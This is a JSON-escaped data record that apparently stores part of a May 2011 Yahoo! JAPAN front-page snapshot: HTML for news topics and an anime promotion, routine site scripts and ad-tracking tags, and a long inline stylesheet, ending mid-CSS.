style=\"background-image:url(http://news.c.yimg.jp/images/topics/20110518-00000000-agara-000-thumb.jpg);width:68px;height:90px;\" title=\"梅の収穫始まる\"\u003e梅の収穫始まる\u003c/a\u003e\u003c/div\u003e\u003cp\u003e \u003ca href=\"f/topics/top/10/*-http://dailynews.yahoo.co.jp/photograph/pickup/?1305707225\"\u003e梅の収穫始まる\u003c/a\u003e\u003c/p\u003e\u003cem\u003e5月18日17時7分配信\u003c/em\u003e\u003ccite\u003e紀伊民報\u003c/cite\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e \r\n\u003cdiv id=\"economyfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"entertainmentfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"sportsfb\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"othersfb\"\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cscript type=\"text/javascript\"\u003e\u003c!--\r\nvar topicsTabs=new YAHOO.Fp.tabs(\"topicsbox\");topicsTabs.changeAction(YAHOO.Fp.loadPanel,{type:\"tabs\",module:\"topicsbox\",load:\"story\"});topicsTabs.setupTabs();YAHOO.Fp.selectTab=function(b,a){b=b.rot13();b=YAHOO.cookie.getsub(\"YJTM\",b);if(b!=\"\"){setTimeout(function(){a.tabAction(0,a,d.getElementById(b.rot13()))},10)}};if(YAHOO.cookie.get(\"YJTM\").indexOf(YAHOO.Fp._crumb)!==-1){YAHOO.Fp.selectTab(\"topicsbox\",topicsTabs)};\r\n--\u003e\u003c/script\u003e\u003cdiv id=\"bpComposite\" class=\"bxNa\"\u003e\r\n\u003cscript language=\"JavaScript\"\u003e\r\nvar EGASeed = Math.floor(new Number(\"1305723876\") / 60);\r\nvar EGAinterval = 5;\r\nvar EGACacheParam = Math.floor(EGASeed / EGAinterval);\r\nvar EGAtarget=\"_top\";\r\nvar EGAAPI = \"http://setsuden.yahoo.co.jp/images/meter_top/meter_ytop.gif?\" + EGACacheParam;\r\nvar EGAlink = \"http://ard.yahoo.co.jp/SIG=15aqcl5jd/M=300568323.301385617.302882319.308498231/D=jp_toppage/S=2077296265:TCBX/Y=jp/EXP=1305731076/L=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1/B=iBv6AMvY6ng-/J=1305723876026641/A=301362382/SIG=11c8u85p4/R=0/*http://setsuden.yahoo.co.jp/denkiyoho/\";\r\nvar EGAStr = '\u003ca href=\"'+ EGAlink +'\" target=\"'+ EGAtarget +'\"\u003e'\r\n\t\t\t+'\u003cimg src=\"' + EGAAPI + '\" border=\"0\" width=\"410\" height=\"55\"\u003e'\r\n\t\t\t+'\u003c/a\u003e';\r\ndocument.write(EGAStr);\r\n\u003c/script\u003e\r\n\u003cnoscript\u003e\u003ca href=\"http://ard.yahoo.co.jp/SIG=15aqcl5jd/M=300568323.301385617.302882319.308498231/D=jp_toppage/S=2077296265:TCBX/Y=jp/EXP=1305731076/L=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1/B=iBv6AMvY6ng-/J=1305723876026641/A=301362382/SIG=11cpfd2cb/R=1/*http://setsuden.yahoo.co.jp/denkiyoho/\" target=\"_top\"\u003e\u003cimg src=\"http://ai.yimg.jp/bdv/500001/937217/20110323/l_huyrufhugb4lhirits-a.gif\" height=\"55\" width=\"410\" border=\"0\"\u003e\u003c/a\u003e\u003c/noscript\u003e\u003c/div\u003e\u003cscript language=javascript\u003e \r\nif(window.yzq_d==null)window.yzq_d=new Object();\r\nwindow.yzq_d['iBv6AMvY6ng-']='\u0026U=13ku7kf1g%2fN%3diBv6AMvY6ng-%2fC%3d300568323.301385617.302882319.308498231%2fD%3dTCBX%2fB%3d301362382';\r\n\u003c/script\u003e\u003cnoscript\u003e\u003cdiv style=\"position:absolute;\"\u003e\u003cimg width=1 height=1 alt=\"\" src=\"http://b7.yahoo.co.jp/b?P=gzi0mMvY8_AdcXdNTTPFkRGJdg_6U03Tw.QAAGF1\u0026T=1427mlahn%2fX%3d1305723876%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d437849301%2fQ%3d-1%2fS%3d1%2fJ%3dB8F2D8CB\u0026U=13ku7kf1g%2fN%3diBv6AMvY6ng-%2fC%3d300568323.301385617.302882319.308498231%2fD%3dTCBX%2fB%3d301362382\"\u003e\u003c/div\u003e\u003c/noscript\u003e\u003cdiv id=\"spotlight\" class=\"bx\"\u003e \r\n\u003cdiv id=\"spotlightct\"\u003e \r\n\u003cdiv style=\"display: block;\" id=\"spotlight_mainfb\"\u003e \r\n\u003cdiv id=\"splsentence\"\u003e \r\n\u003ch2\u003eあのゲームキャラクターが\u003cbr\u003eアニメの世界で大活躍\u003c/h2\u003e \r\n\u003cp class=\"lead\"\u003eより魅力的になった主人公たちをアニメで堪能しませんか。人気ゲームが原作のアニメを無料で一挙公開。\u003c/p\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"splimg\"\u003e\u003ca style=\"background-image: url(http://k.yimg.jp/images/streaming/free/spotlight/1104/28_10.jpg);\" class=\"imgfilter\" id=\"splimgfilter\" href=\"t/5047m0\"\u003eこみっくパーティー\u003c/a\u003e \r\n\u003cp\u003e\u003ca href=\"t/5047m9\"\u003e女子高生が同人誌活動\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e \r\n\u003cul class=\"symbol\"\u003e \r\n\u003cli class=\"first\"\u003e\u003ca href=\"t/5047m1\"\u003e「聖杯戦争」に巻き込まれ\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m2\"\u003e夜になると羊のぬいぐるみに\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m3\"\u003e「黄昏の旅団」との出会い\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m4\"\u003e旧市街に隠された謎とは\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m5\"\u003e「龍脈」の影響で覚醒\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m6\"\u003e毎年6月、「綿流し」の日に\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m7\"\u003e舞台は北の大地、北海道\u003c/a\u003e\u003c/li\u003e \r\n\u003cli\u003e\u003ca href=\"t/5047m8\"\u003eハーモニカの音色に誘われて\u003c/a\u003e\u003c/li\u003e \r\n\u003c/ul\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn1fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn2fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn3fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn4fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003cdiv id=\"spotlight_bn5fb\" style=\"display: none;\"\u003e\u003c/div\u003e \r\n\u003c/div\u003e \r\n\u003cdiv id=\"splBkNum\" class=\"bkNum clfix\"\u003e \r\n\u003ch3 style=\"display: none;\"\u003e\u003ca href=\"#\" id=\"spotlight_main\"\u003eはじめの記事を表示\u003c/a\u003e\u003c/h3\u003e \r\n\u003cdl class=\"on\"\u003e\u003cdt\u003eほかの記事\u003c/dt\u003e\u003cdd class=\"tab\"\u003e\u003ca href=\"#\" id=\"spotlight_bn1\" hidefocus=\"true\"\u003e1\u003c/a\u003e\u003c/dd\u003e\u003cdd class=\"tab\"\u003e\u003ca href=\"#\" id=\"spotlight_bn2\" hidefocus=\"true\"\u003e2\u003c/a\u003e\u003c/dd\u003e\u003cdd class=\"tab\"\u003e","created_at":"2011-05-18T13:05:05.000Z","updated_at":"2011-05-18T13:05:05.000Z"},{"id":1547,"name":"acme/youpy.css","body":"\u003c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"\u003e \r\n\u003chtml lang=\"ja\"\u003e \r\n\u003chead\u003e \r\n\u003cmeta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\"\u003e \r\n\u003cmeta http-equiv=\"content-style-type\" content=\"text/css\"\u003e \r\n\u003cmeta http-equiv=\"content-script-type\" content=\"text/javascript\"\u003e \r\n\u003cmeta name=\"description\" content=\"日本最大級のポータルサイト。検索、オークション、ニュース、メール、コミュニティ、ショッピング、など80以上のサービスを展開。あなたの生活をより豊かにする「ライフ・エンジン」を目指していきます。\"\u003e \r\n\u003ctitle\u003eYahoo! JAPAN\u003c/title\u003e \r\n\u003cbase href=\"http://www.yahoo.co.jp/_ylh=X3oDMTB0NWxnaGxsBF9TAzIwNzcyOTYyNjUEdGlkAzEyBHRtcGwDZ2Ex/\"\u003e \r\n\u003cstyle type=\"text/css\"\u003e\u003c!--\r\nbody,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote{margin:0;padding:0;}fieldset,img{border:0;}table{border-collapse:collapse;border-spacing:0;}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;}ol,ul{list-style:none;}.separate,.floatingw,legend{display:none;}button{cursor:pointer;}body{font-family:\"MS PGothic\",\"Osaka\",Arial,sans-serif;line-height:1.22;font-size:12px;text-align:center;}table{font-size:inherit;font:100%;}pre,code,kbd,samp,tt{font-family:monospace;line-height:99%;}h1,h2,h3,h4,h5{font-size:100%;}.contentbox2nd h2,#spotlight h2{font-size:131%;}#emg table{font-size:115%;}span.assist,#topicsboxbd em,#topicsboxbd cite,#vdobd em,#olymEdit cite{font-size:85%;}#navi .hd h2,#local h2 span,#personalbox h3{font-weight:normal;}a,ul.tab a:visited{color:#1d3994;text-decoration:none;}a:visited{color:#941d55;}a:hover{text-decoration:underline;}button{cursor:pointer;}#wrapper{position:relative;min-width:950px;width:74.2em;*width:71.2em;margin:0 auto;}#header{position:relative;z-index:10;padding-bottom:4px;*zoom:1;}#header:after{content:\"\";display:block;clear:both;}#contents{text-align:left;overflow:hidden;*zoom:1;}#navi{float:left;position:relative;z-index:8;width:17.94%;min-width:170px;}#division{float:right;position:relative;z-index:2;min-width:770px;width:81%;}#main{float:left;min-width:410px;width:53.3%;}#sub{float:right;min-width:350px;width:45.45%;}.bgD,.item li,.emphasis li,.connect li,.ranking li,.pldwn,.plup,.prev,.next,.iconNew,.iconPhoto,.iconVideo,.iconNotice,.close a,.ulmwindow .ulmbg,.ulmwindow .ulmwindowsearch button,.vdotmp2,.changeBtn,.changeBtn a,#centralPosition dl,#srchAssistOnOff dd,#pblogininfo li a,#yahooservice ul li a,#pbsocial p a,#pbsocialInfo,#pbsocial dd a,#topicsbox .tab li span,#yjidbox h2 a,#pbproperty .shortcut li a,#pbproperty .connect #mailicon,#srchSwitch dd,#contentbox .hd .cbbtn a{background-image:url(http://k.yimg.jp/images/top/sp2/cmn/pic_all-110427.png);background-repeat:no-repeat;}.bx li{margin:7px 0;}.bx,.bxEx{position:relative;margin-bottom:10px;background-color:#fff;border:1px solid;}.bxEx{margin-top:-11px;}.bxNa{margin-bottom:10px;text-align:center;}.bxSl{*zoom:1;padding:7px 7px 3px;}.bxSl h2{margin-bottom:5px;float:left;clear:left;}.bxSl ul{margin-bottom:5px;overflow:hidden;*zoom:1;}.bxSl li{float:left;margin:0;padding-left:0.8em;}.bxSl .more{float:right;}.bxSl p{padding-bottom:4px;}.bxPos{text-align:center;}.bxSl dl{margin-top:-1px;}.bxSl dt{float:left;margin-bottom:3px;}.bxSl dd{margin-left:57px;*zoom:1;}.bxSl dd p{padding:2px 0 5px;}.bxSl dd ul{padding-top:7px;margin-left:-0.8em;}.bxShp{overflow:hidden;padding-bottom:9px;}.bxShp img{float:left;margin:9px 9px 0;}.bxShp .item{margin:14px 0 0 66px;}.bxShp .item li{margin-top:8px;}.bg1{background-position:0 100%;}.bg2{background-position:0 -930px;}.bg3{background-position:0 -2850px;}.bg4{background-position:0 -4220px;}.hd{border-bottom:1px solid;background-color:#fff;background-position:0 -200px;overflow:hidden;*zoom:1;}.hd h2{padding:3px 7px 2px;border:1px solid #fff;border-width:0 1px;}.hd h3{position:absolute;right:10px;top:3px;font-weight:normal;}.bgC{clear:both;padding:4px 5px 4px 10px;border:1px solid;}.bgC li{display:inline;margin-left:1em;}.bgC .first{margin-left:0;}.bgD{background-position:0 -2700px;background-repeat:repeat-x;}.bgI{background-color:#fefbc4;border:1px solid #ffcc01;}.close a{padding-right:20px;background-position:100% -1750px;color:#fff;cursor:pointer;text-decoration:underline;}.clfix{*zoom:1;}.clfix:after{content:\"\";display:block;clear:both;}.item li{padding-left:13px;background-position:0 -1447px;}.emphasis li{padding-left:13px;background-position:0 -1487px;}.connect li{display:inline;padding-left:13px;background-position:0 -1531px;}.connect .first{padding-left:0;background:none;}.symbol a{padding-left:12px;background-repeat:no-repeat;background-position:0 -871px;}.ranking li{padding-left:18px;}.ranking .rnk1{background-position:0 -1050px;}.ranking .rnk2{background-position:0 -1090px;}.ranking .rnk3{background-position:0 -1130px;}.ranking .rnk4{background-position:0 -1170px;}.ranking .rnk5{background-position:0 -1210px;}.ranking .rnk6{background-position:0 -1250px;}.ranking .rnk7{background-position:0 -1290px;}.ranking .rnk8{background-position:0 -1330px;}.ranking .rnk9{background-position:0 -1370px;}.ranking .rnk10{background-position:0 -1410px;}.pldwn,.plup{margin-right:2px;padding-right:13px;background-position:100% -1572px;background-repeat:no-repeat;color:#000;}.plup{background-position:100% -1612px;}.pldwn:visited,.plup:visited{color:#000;}.prev,.next{display:inline-block;*zoom:1;width:8px;height:12px;background-position:-19px -80px;text-indent:-9999px;*text-indent:0;*font-size:0.1;overflow:hidden;}.next{background-position:-38px -80px;}.tab:after{content:\"\";display:block;clear:both;}.tab .on{font-weight:bold;}.tab .first{border-left:0;}.tab li a{outline:none;}.tab .on a,.tab .on a:visited{color:#000;text-decoration:none;}.assist a,.assist a:hover,.assist a:visited{display:block;padding:0 2px;text-decoration:none;}.assist{display:inline-block;border-style:solid;border-width:0 1px 1px 0;}.assist a,.assist a:visited{border:1px solid #9baab1;background:#fff;color:#000;}.assist a:hover{background-color:#ffeb7d;}.imgfilter{display:block;background:no-repeat 0 0;text-indent:-9999px;overflow:hidden;}.bkNum{padding:6px 10px 4px;}.bkNum h3{display:none;float:left;margin:0;}.bkNum dl{float:right;}.bkNum dt,.bkNum dd{float:left;line-height:1;margin-left:3px;}.bkNum dt{padding-top:2px;}.bkNum dd a{display:block;background-color:#fff;padding:2px 4px 1px 5px;outline:none;}.bkNum dd a:hover{text-decoration:none;background-color:#1d3994;color:#fff;}.bkNum dd a.on{background-color:#eee;color:#000;font-weight:bold;cursor:default;}.bkNum dd a.on:hover{background-color:#eee;color:#000;}.overlay{position:absolute;z-index:9;background:#000;filter:alpha(opacity=10);-ms-filter:\"alpha(opacity=10)\";opacity:0.1;}.iconNew,.iconPhoto,.iconVideo,#contentbox ul li .iconNotice{display:inline-block;margin-left:2px;text-indent:-9999px;outline:none;*vertical-align:middle;}.iconNew{height:11px;width:25px;background-position:0 -57px;}.iconPhoto{height:12px;width:12px;margin:0 2px;background-position:-37px -63px;}.iconVideo{height:12px;width:12px;margin:0 2px;background-position:-1px -80px;}#contentbox ul li .iconNotice{background-position:0 -1913px;padding:0;width:16px;height:14px;}#hdBar{position:absolute;z-index:9;top:-1.5em;margin-top:-1px;left:0;width:100%;}#masthead{position:relative;z-index:1;margin-top:1.6em;*margin-top:1.4em;*zoom:1;}h1{position:relative;z-index:5;width:950px;margin:0 auto;padding-top:1px;text-align:center;height:80px;}h1 img{margin:10px 1px 0 0;}h1 .deco{margin:0;}#mhicon{position:absolute;left:50%;top:0;z-index:6;}#mhicon li{position:absolute;}#mhi1st{left:-365px;}#mhi2nd{left:-284px;}#mhi3rd{left:-203px;}#mhi4th{left:149px;}#mhi5th{left:230px;}#mhi6th{left:311px;}#mhicon li a{width:54px;height:54px;margin-top:15px;display:block;text-indent:-9999px;overflow:hidden;}#mhi1st a{background-position:0 -3370px;}#mhi2nd a{background-position:0 -3424px;}#mhi3rd a{background-position:0 -3478px;}#mhi4th a{background-position:0 -3532px;}#mhi5th a{background-position:0 -3586px;}#mhi6th a{background-position:0 -3640px;}#siteinfo{position:absolute;z-index:7;top:12px;right:10px;text-align:left;}#siteinfo li{padding-bottom:2px;}.changeBtn{position:absolute;left:0;z-index:5;border:1px solid #b4bdc3;background-color:#e5eaeb;background-position:0 -2110px;background-repeat:repeat-x;}#changeModeOf{bottom:13px;}#changeMode3d{top:15px;}.changeBtn a{display:inline-block;padding:4px 9px 1px 22px;min-width:60px;_width:55px;_white-space:nowrap;background-position:0 -2151px;border-bottom:1px solid #fff;}#emergency{margin:5px 0 10px;text-align:center;}#emergency .alert{color:#f00;}#emg{margin:0 auto;text-align:center;line-height:1.2;}#emg table{margin:0 auto 10px;}#emg table table{margin-bottom:0;}#emg br{display:none;}#searchbox{background-position:0 -1540px;*zoom:1;}#searchbox form{background-position:0 -1650px;background-repeat:no-repeat;}#searchbox fieldset{background-position:100% -1760px;background-repeat:no-repeat;}#srchbd{position:relative;width:48.8%;min-height:40px;margin:0 auto;padding:13px 0 20px;text-align:left;}#srchbd .tab{position:relative;z-index:9;margin-bottom:5px;min-height:14px;_height:14px;overflow:inherit;}#srchbd .tab li{display:inline;padding:0 5px;border-right:1px solid #ccc;}#srchbd .tab li.first{padding-left:0;}#srchbd ul.tab li#srchMore{position:absolute;vertical-align:top;position:relative;border-right:0;}#srchbd ul.tab li#srchMore .plup,#srchbd ul.tab li#srchMore .pldwn{color:#1D3994;*min-height:13px;_height:13px;*vertical-align:top;}#srchMorefw{position:absolute;top:1.15em;right:6px;z-index:9;padding:0 1px 2px 0;background:#cccccc;}#srchbd ul.tab li ul{padding:6px 0;background:#fff;border:1px solid #9aaabc;*width:7.2em;}#searchbox #srchbd ul.tab li ul li{white-space:nowrap;display:block;padding:0 1px;border-right:0;*zoom:1;}#srchbd ul.tab li ul li a{display:block;*zoom:1;*height:auto;padding:3px 8px;}#srchbd ul.tab li ul li a:hover{background-color:#1d3994;color:#fff;text-decoration:none;}#srchbd ul.tab li ul li.last{margin-top:3px;border-top:1px solid #cccccc;}#srchbd ul.tab li ul li.last a{margin-top:3px;}#srchbd p{clear:both;overflow:hidden;}#srchtxtBg{line-height:0;width:74.4%;min-width:346px;display:block;float:left;border:solid #7c7c7c;border-width:1px 0 0 1px;*zoom:1;}#srchtxt{float:left;width:100%;_width:97.5%;*height:16px;min-height:16px;padding:2px 5px 3px;border:1px solid #c3c3c3;background-color:#fff;}#srchbtn{float:left;width:24.5%;padding:3px 0 2px;border:1px solid;background-position:0 -801px;font-weight:bold;letter-spacing:0.5em;cursor:pointer;line-height:1.32;min-height:24px;}#srchAssist{clear:left;width:74.8%;min-width:347px;position:absolute;top:73.5%;}#srchAssistBd{border:solid #7c7c7c;border-width:1px 2px 0 1px;background-color:#fff;*zoom:1;}#srchAssist li{line-height:1;}#srchAssist li a{color:#000;padding:4px 6px 5px;*padding:4px;display:block;cursor:pointer;*zoom:1;}#srchAssist li .on{background-color:#1d3994;color:#fff;}#srchAssistTxt{padding:3px 5px 3px 5px;}#srchAssistOnOff{padding:3px 8px 1px 0;white-space:nowrap;color:#555;font-size:85%;text-align:right;line-height:0;}#srchAssistOnOff dt{display:inline;line-height:1;}#srchAssistOnOff dd{display:inline;line-height:1;padding-left:13px;background-position:0 -1533px;font-weight:bold;color:#000;*zoom:1;}#srchAssistOnOff dd a{font-weight:normal;}#srchAssistOnOff dd.first{background:none;}#srchAssistClose,#srchacb,#srchAssistClose span{display:block;height:11px;background-repeat:no-repeat;cursor:pointer;overflow:hidden;line-height:0;text-indent:-9999px;}#srchAssistClose{background-position:100% -3344px;}#srchacb{background-position:0 -3300px;}#srchAssistClose span{margin:0 2px 0 45px;background-repeat:repeat-x;background-position:100% -3322px;}#srchAssistClose.on{background-position:100% -3355px;}.on #srchacb{background-position:0 -3311px;}#srchAssistClose.on span{background-position:100% -3333px;}#uhd{position:relative;height:1.5em;border:1px solid;text-align:center;}#uhdsetstart{position:absolute;left:5px;padding-top:2px;}#uhdassist{position:absolute;right:5px;}#clrEx{float:left;margin:3px 5px 0 0;padding-right:5px;border-right:1px solid #ccc;line-height:1;}#clr{float:left;}#clr li{float:left;margin:3px 5px 0 0;border-style:solid;border-width:1px;line-height:0;}#clr li a{display:block;*float:left;width:6px;height:6px;border-style:solid;border-width:2px;overflow:hidden;text-indent:-9999px;}#clr1{border-color:#a2b6d8;}#clr1 a{background-color:#c8d2e7;border-color:#c8d2e7;}#clr2{border-color:#d49fc9;}#clr2 a{background-color:#fbcaf0;border-color:#fbcaf0;}#clr3{border-color:#ffbc6d;}#clr3 a{background-color:#ffdaa4;border-color:#ffdaa4;}#clr4{border-color:#4ec346;}#clr4 a{background-color:#95da75;border-color:#95da75;}#clr5{border-color:#bdbdbd;}#clr5 a{background-color:#d6d6d6;border-color:#d6d6d6;}#clr6{border-color:#c4defa;}#clr6 a{background-color:#edf4f8;border-color:#edf4f8;}#clr1 .on,#clr1 a:hover{background-color:#6179a0;}#clr2 .on,#clr2 a:hover{background-color:#ef64c8;}#clr3 .on,#clr3 a:hover{background-color:#ff882b;}#clr4 .on,#clr4 a:hover{background-color:#1e880b;}#clr5 .on,#clr5 a:hover{background-color:#737373;}#clr6 .on,#clr6 a:hover{background-color:#c8d2e7;}#uhdassist .help{float:left;margin-top:2px;}#uhdassist .help a{border-left:1px solid #ccc;padding-left:5px;line-height:1em;}#toptxt{position:relative;z-index:7;margin:0 0 8px -1.8em;text-align:center;}#toptxt li{display:inline;margin-left:1.8em;}#navi #contentbox{border-top:0;}#contentbox .hd{border-top:1px solid;position:static;}#contentbox .hd .cbbtn{float:left;margin-top:1px;padding:1px;border-right:1px solid;}#contentbox .hd .cbbtn span{border-right:1px solid #fff;}#contentbox .hd .cbbtn a{display:block;width:10px;height:10px;padding:3px 4px;text-indent:-9999px;overflow:hidden;}#cbbtntop{background-position:0 -110px;}#cbbtnbtm{background-position:-20px -110px;}#contentbox .changepos h2{padding-left:25px;}#contentbox .hd span.assist{float:right;margin-top:2px;margin-right:1px;}#contentbox ul{padding:2px 3px 0;*zoom:1;}#contentbox ul li{margin:1px 0;padding:3px 0;_zoom:1;}#contentbox ul li a{padding:3px 0 3px 20px;background-repeat:no-repeat;}.cbysC1{background-position:0 -251px;}.cbysC2{background-position:0 -291px;}.cbysC5{background-position:0 -331px;}.cbysC12{background-position:0 -371px;}.cbysC13{background-position:0 -412px;}.cbysC14{background-position:0 -452px;}.cbysC15{background-position:0 -492px;}.cbysC25{background-position:0 -533px;}.cbysC26{background-position:0 -211px;}.cbysC33{background-position:0 -572px;}.cbysC34{background-position:0 -612px;}.cbysC41{background-position:0 -652px;}.cbysC73{background-position:0 -692px;}.cbysC48{background-position:0 -730px;}.cbysC37{background-position:0 -770px;}.cbysC53{background-position:0 -812px;}.cbysC57{background-position:0 -852px;}.cbysC46{background-position:0 -892px;}.cbysC44{background-position:0 -930px;}.cbysC87{background-position:0 -970px;}.cbysC97{background-position:0 -1010px;}#favoriteservice ul li a{background-position:0 50%;}#application span{display:block;margin-bottom:2px;text-align:center;}#application p{padding:5px 8px 7px;line-height:1.3;}#cb2bgcx{position:absolute;left:0;*left:-2px;top:-1px;z-index:1;border:0;overflow:hidden;}#cb2bg{position:absolute;top:0;right:0;min-width:590px;width:46em;border:2px solid #ccc;border-width:0 2px 2px 0;background-color:#fff;}#checknumber,.cb2moreservice{width:100%;}.cb2ndhd{min-height:4em;_height:3.7em;}#checknumber .checkmax,.cb2moreservice .changemode{float:left;padding-left:10px;}#checknumber .checknow,.cb2moreservice .more{float:right;padding-right:10px;}.cb2moreservice{height:2.7em;*background-color:#fff;}.cb2moreservice .changemode{font-weight:bold;}.contentbox2nd{border:1px solid;color:#fff;background-position:0 -2050px;background-color:#fff;}.contentbox2nd h2{padding:5px 10px;color:#fff;}.contentbox2nd strong{color:#f00;}.contentbox2nd .cb2detail{margin:0 10px;border:1px solid #ccc;background:#fff;color:#000;}.cb2allservice{position:relative;z-index:2;padding:0 2px 5px 2px;background:#f0f3fa;overflow:hidden;*zoom:1;}#cb2yjedit .cb2allservice{background:#fffddb;}.contentbox2nd h3{clear:both;padding:4px 0 3px;}.cb2allservice ul li,#cb2worldservice ul li{position:relative;z-index:1;display:inline;float:left;width:20%;margin-bottom:3px;}#cb2yjedit .cb2allservice ul{*margin-top:-3px;*margin-bottom:4px;margin-bottom:3px;}#cb2yjedit .cb2allservice ul li{*margin-bottom:-3px;}.cb2allservice ul li *{vertical-align:middle;}.cb2allservice ul li label *{*vertical-align:baseline;}.cb2allservice ul li.on{color:#f00;font-weight:bold;letter-spacing:-1px;}.cb2allservice ul li.off{color:#999;}.cb2allservice ul li.off input{visibility:hidden;}.cb2etc{padding:0 2px;}.cb2moreservice{clear:both;}.contentbox2nd span.close a{position:absolute;top:5px;right:8px;color:#fff;}#cb2yjservice .cb2detail ul li a{margin-left:15px;}#cb2worldservice{_height:71px;min-height:71px;}#cb2yjedit input{width:15px;}#cb2selectarea{position:relative;min-height:61px;_height:71px;padding-top:10px;}#cb2selectarea li{margin-bottom:5px;}#cb2selectarea button{width:7.8em;margin:0;padding:1px 0;*padding:0;border:0;border-top:1px solid #fff;font-weight:bold;text-align:center;}#cb2selectarea p{position:absolute;bottom:10px;right:10px;}#cb2selectarea span{display:block;float:left;}#cb2cancelbg{position:relative;right:5px;}#cb2selectarea span#cb2cancelbg,#cb2selectarea button#cb2cancel{background:#ccc;}#cb2selectarea span#cb2cancelbg{border:1px solid #666;}#cb2selectarea span#cb2setupbg,#cb2selectarea button#cb2setup{background:#fc3;}#cb2selectarea span#cb2setupbg{border:1px solid #ce8800;}#cb2bg .off #cb2selectarea span#cb2setupbg{border-color:#d1d1d1;}#cb2bg .off #cb2selectarea span#cb2setupbg,#cb2bg .off #cb2selectarea span#cb2setupbg button{background:#ddd;color:#999;cursor:default;}#navi #cb2popup{position:absolute;z-index:9;padding-bottom:3px;border:0;background:transparent;width:12em;margin:-6.7em 0 0 -1.05em;letter-spacing:-1px;}#cb2popup p{padding:4px 0 4px 2px;border:3px solid #b9c6d3;background:#fff;color:#000;font-weight:normal;}#cb2popup p strong{color:#e72e00;font-weight:bold;}#cb2popup p span,#cb2popup .cb2pbg2{background:url(http://k.yimg.jp/images/top/sp2/cb/cb2p_bg-090407.gif) no-repeat 0 0;}#cb2popup p span{position:absolute;right:2px;*right:1px;top:-6px;display:block;width:17px;height:13px;text-indent:-9999px;cursor:pointer;}#cb2popup .cb2pbg{margin:0 2px -3px 0;}#cb2popup .cb2pbg2{padding-bottom:9px;background-position:-20px 100%;}#companybox{padding:0 2px;}#companybox div{border-top:1px solid;}#companybox h2{padding:5px 5px 0;border-top:1px solid #fff;}#companybox ul,#companybox p{margin:0 0 0 4px;overflow:hidden;*zoom:1;}#companybox #cmprikunabi,#companybox #cmprikunabi h2{border-top:0;}#cmprikunabi ul{margin-top:7px;margin-bottom:7px;}#cmprikunabi ul li{display:inline;margin-left:0.5em;}#cmprikunabi ul li.first{margin-left:0;}#cmprikunabi p{margin-bottom:7px;}#composite ul{background:no-repeat 50% 0;}#composite ul.ieDisp{background:no-repeat 50% 50px;position:relative;padding-top:50px;}#composite .cmpIE{position:absolute;top:0;width:100%;background-repeat:no-repeat;background-position:50% 0;}#composite li a{display:block;width:170px;height:40px;margin:0 auto 10px;overflow:hidden;text-indent:-9999px;}#topicsbox{border-top:none;}#topicsbox .hd{margin:0 -1px;border-bottom:0;}html #main #topicsbox ul.tab li.last span{margin-right:-3px;}#topicsbox h2{display:none;}#topicsbox .tab{position:relative;z-index:1;padding-bottom:1px;border:1px solid;background-position:0 -100px;}#topicsbox .tab li{position:relative;float:left;width:20%;margin:-1px 0 -2px;border-bottom:1px solid;*border-bottom:0;border-top:1px solid;background-position:0 -100px;text-align:center;}#topicsbox .tab li span{display:block;position:relative;z-index:9;margin-bottom:-1px;border-right:1px solid;background-position:100% 0;*zoom:1;}#topicsbox .tab li span a{display:block;position:relative;margin-right:-2px;*margin-bottom:-1px;padding:1px 2px 2px 0;border:1px solid #fff;*zoom:1;}#topicsbox .on1 .tab0 span a,#topicsbox .on2 .tab1 span a,#topicsbox .on3 .tab2 span a,#topicsbox .on4 .tab3 span a,#topicsbox .tab .on span a,#topicsbox .tab .last span a{margin-right:0;padding-right:0;}#topicsbox .tab .tab1 span a{*border-left:0;}#topicsbox .on4{border-bottom-color:#fff;border-right-color:#9baab1;background-position:0 -300px;background-color:#fff;padding-bottom:2px;*padding-bottom:1px;}#topicsbox .tab .on{z-index:9;padding:0;margin-bottom:-2px;*margin-bottom:-1px;background-position:0 -300px;background-color:#fff;}#topicsbox .tab .on span{*padding-bottom:1px;border-right:1px solid;border-bottom:1px solid #fff;}#topicsbox .tab .off span{border-right:1px solid;*border-bottom:1px solid;}#topicsbox .tab .last{*width:19.7%;border-bottom:0;}#topicsbox .tab .last span,#topicsbox .tab .last span a{border-right:0;}#topicsbox .on4 .on span{border-right:0;}#topicsboxbd{min-height:220px;padding-right:10px;overflow:hidden;_overflow:visible;*zoom:1;}#topicsboxbd div{display:none;}#topicsboxbd div div,#topicsboxbd .current{display:block;}.topicsindex{float:left;width:63.5%;}.topicsindex em{margin:6px 0 0 8px;}.topicsindex .emphasis{margin:6px 0 0 5px;}.topicsindex .emphasis li,#othersfb .detail li{margin:5.5px 0 5px;}.topicsindex .emphasis li,#othersfb .detail li, 